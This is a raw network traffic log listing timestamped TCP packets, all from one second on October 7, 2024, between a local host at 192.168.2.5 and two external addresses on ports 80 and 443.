Oct 7, 2024 18:00:45.459481001 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459489107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459497929 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459505081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459517956 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459522009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459531069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459551096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459561110 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459834099 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.459908009 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.459964037 CEST	49868	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.460124016 CEST	49868	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.460127115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460139990 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.460144043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460150003 CEST	49868	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.460155964 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.460158110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460180044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460192919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460196018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460206985 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460216999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460231066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460242987 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460247993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460263014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460270882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460279942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460284948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460306883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460310936 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460323095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460323095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460339069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460356951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460356951 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460374117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460382938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460392952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460407019 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460407972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460417986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460427046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460436106 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460442066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460453987 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460458994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460475922 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460483074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460486889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460500002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460506916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460517883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460532904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460532904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460549116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.460549116 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.460566044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.461489916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.461505890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.461520910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.461528063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.461536884 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.461544037 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.461554050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.461570024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.461575985 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.461585999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.461586952 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.461602926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.461615086 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.461617947 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.461637020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.461659908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.463144064 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.463181973 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.463273048 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.463418961 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.463429928 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.465234041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.465251923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.465265989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.465295076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.465305090 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.465316057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.465332031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.465333939 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.465342999 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.465351105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.465370893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.465389967 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.481038094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.481056929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.481080055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.481095076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.481097937 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.481112957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.481127977 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.481129885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.481148005 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.481163979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.481194973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.484165907 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.484277964 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.484366894 CEST	49869	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.484580994 CEST	49869	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.484602928 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.484688997 CEST	49869	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.484694958 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.487168074 CEST	49874	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.487205982 CEST	443	49874	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.487268925 CEST	49874	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.487714052 CEST	49874	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.487725019 CEST	443	49874	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.490988970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.491005898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.491023064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.491065025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.491066933 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.491081953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.491097927 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.491099119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.491117001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.491118908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.491134882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.491159916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.491807938 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.491871119 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.491942883 CEST	49870	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.492077112 CEST	49870	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.492077112 CEST	49870	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.492084980 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.492091894 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.494697094 CEST	49875	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.494735003 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.494798899 CEST	49875	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.494957924 CEST	49875	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.494968891 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.556088924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.556108952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.556123972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.556137085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.556144953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.556160927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.556175947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.556185961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.556190968 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.556205988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.556225061 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.556225061 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.556242943 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557456017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557480097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557495117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557508945 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557532072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557533026 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557548046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557559013 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557564974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557578087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557583094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557600021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557604074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557616949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557627916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557632923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557650089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557652950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557667017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557677984 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557682991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557698965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557703972 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557715893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557729006 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557730913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557749033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557754993 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557765007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557779074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557780027 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557805061 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557827950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557845116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557861090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557884932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557884932 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557895899 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557902098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557918072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557934046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557941914 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557949066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557965994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557965994 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557981014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.557993889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.557998896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.558015108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.558026075 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.558031082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.558039904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.558047056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.558063030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.558068991 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.558084965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.558092117 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.558101892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.558116913 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.558131933 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.558147907 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.558171988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559150934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559168100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559181929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559197903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559200048 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559211969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559223890 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559228897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559237957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559243917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559261084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559267044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559276104 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559289932 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559298992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559317112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559359074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559376001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559390068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559402943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559412003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559412003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559421062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559437037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559452057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559461117 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559468031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559484005 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559487104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559499979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559509993 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559515953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559533119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559536934 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559549093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559549093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559566975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559576035 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559582949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559590101 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559600115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559607983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559616089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559623003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559633970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559643984 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559650898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559654951 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559667110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559673071 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559683084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559691906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559700966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559704065 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559731007 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559731007 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559843063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559858084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559880972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559881926 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559896946 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559905052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559919119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559928894 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559935093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559938908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559951067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559953928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559967041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559969902 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.559983969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.559988022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.560000896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.560003996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.560015917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.560017109 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.560033083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.560034990 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.560049057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.560050011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.560065985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.560069084 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.560081959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.560081959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.560098886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.560101032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.560113907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.560116053 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.560137987 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.560147047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.564333916 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.565996885 CEST	49871	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.566015959 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.566466093 CEST	49871	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.566469908 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.567481041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.567497969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.567512989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.567549944 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.567575932 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.567641020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.567656994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.567672968 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.567687988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.567698002 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.567723036 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.567743063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.577322960 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.577337980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.577353954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.577378035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.577394009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.577409983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.577419043 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.577424049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.577455044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.577526093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.637326002 CEST	80	49831	95.164.90.97	192.168.2.5
